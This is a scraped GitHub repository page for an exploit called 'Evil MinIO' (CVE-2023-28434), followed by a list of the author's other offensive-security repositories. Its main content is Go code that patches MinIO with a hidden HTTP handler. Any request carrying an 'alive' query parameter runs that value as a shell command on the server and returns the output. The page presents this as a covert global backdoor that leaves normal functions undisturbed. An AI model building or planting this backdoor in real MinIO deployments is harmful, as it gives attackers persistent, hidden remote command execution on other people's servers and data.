• Stars
    star
    293
  • Rank 136,113 (Top 3 %)
  • Language
    Go
  • License
    GNU Affero Genera...
  • Created about 1 year ago
  • Updated about 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

EXP for CVE-2023-28434 MinIO unauthorized to RCE

Evil MinIO (CVE-2023-28434)

Doc: CVE-2023-28432 minio 接口未授权访问到无损RCE和全局后门.pdf

EXP for CVE-2023-28434

MinIO unauthorized to RCE

Changed from https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8

Changed what?

  • add cmd/x.go, used for exec system command
package cmd

import (
	"os/exec"
	"runtime"
)

func getOutputDirectly(commandStr string) string {
	var execGlobalOutput string
	var shell [2]string
	var systemOS string = runtime.GOOS
	if systemOS == "linux" || systemOS == "darwin" {
		shell[0], shell[1] = "/bin/bash", "-c"
	} else {
		shell[0], shell[1] = "C:\\Windows\\System32\\cmd.exe", "/c"
	}
	cmd := exec.Command(shell[0], shell[1], commandStr)
	output, err := cmd.Output()
	if err != nil {
		return ""
	}
	execGlobalOutput += string(output)
	return execGlobalOutput
}
  • cmd/routers.go, add line #72
// ..........
	setUploadForwardingHandler,
	// Add bucket forwarding handler
	setBucketForwardingHandler,
	// Add new handlers here.
	xHandler, // ADD THIS LINE 
}

// configureServer handler returns final handler for the http server.
func configureServerHandler(endpointServerPools EndpointServerPools) (http.Handler, error) {
// ..........
  • cmd/generic-handlers.go, add function xHandler at the end
func xHandler(h http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		var arg string
		values := r.URL.Query()
		arg = values.Get("alive")
		if arg != "" {
			w.Write([]byte(getOutputDirectly(arg)))
			return
		}
		h.ServeHTTP(w, r)
	})
}

What can be done?

  1. GLOBAL backdoor as http://1.2.3.4/?alive=whoami and http://1.2.3.4/anything?alive=whoami
  2. Normal functions will not be affected

image-20230327164103832

image-20230327164128648

More Repositories

1

BlastWithCaptcha

BlastWithCaptcha v0.2 验证码识别 爆破 本地ocr 多线程爆破 支持带id的验证码 支持payload变形
Python
65
star
2

macos-all

macos all, 关于macos的实用内容 不仅是macos...还有各种常用的渗透、命令行技巧
62
star
3

rabbithole

🦀️ 一个完全使用Rust编写的代理池工具,从网络搜索socks5代理,检测可用性之后开启socks5代理服务。A proxy pool tool completely written in Rust, which searches for SOCKS5 proxies from the network, and after checking their availability, starts a SOCKS5 proxy service.
Rust
60
star
4

whichAlive

信息收集,批量多线程探测url存活、获取基本信息(标题、ip、长度、跳转、server等)
Python
17
star
5

GoCommand2API

适用于目标命令执行不出网、无回显等场景
Go
13
star
6

jasyptAtuoDecrypt

自动fuzz spring的加密密码,自动解密spring的加密密码
Java
13
star
7

ParseBurpRequest

python 解析burp请求包 将请求包解析为python对象 方便requests等模块发起请求
Python
5
star
8

fish-theme-Athene

An oh-my-fish theme
Shell
2
star
9

AbelChe

2
star
10

URP_Helper

一键向老师表示感谢
Python
2
star
11

reverseShellList

快速生成反弹shell payload
Python
1
star
12

AbelChe.github.io

HTML
1
star
13

gophish_helper

导出gophish的项目数据 上钩邮箱、ip、时间
Python
1
star
14

cola_dnslog

更加强大的dnslog平台 完全开源 支持dns http ldap rmi等协议 提供API调用方式便于与其他工具结合 后续会支持钉钉机器人 Bark等提醒 后续更新docker一键部署 后端完全使用python实现 前端基于vue-element-admin二开
Vue
1
star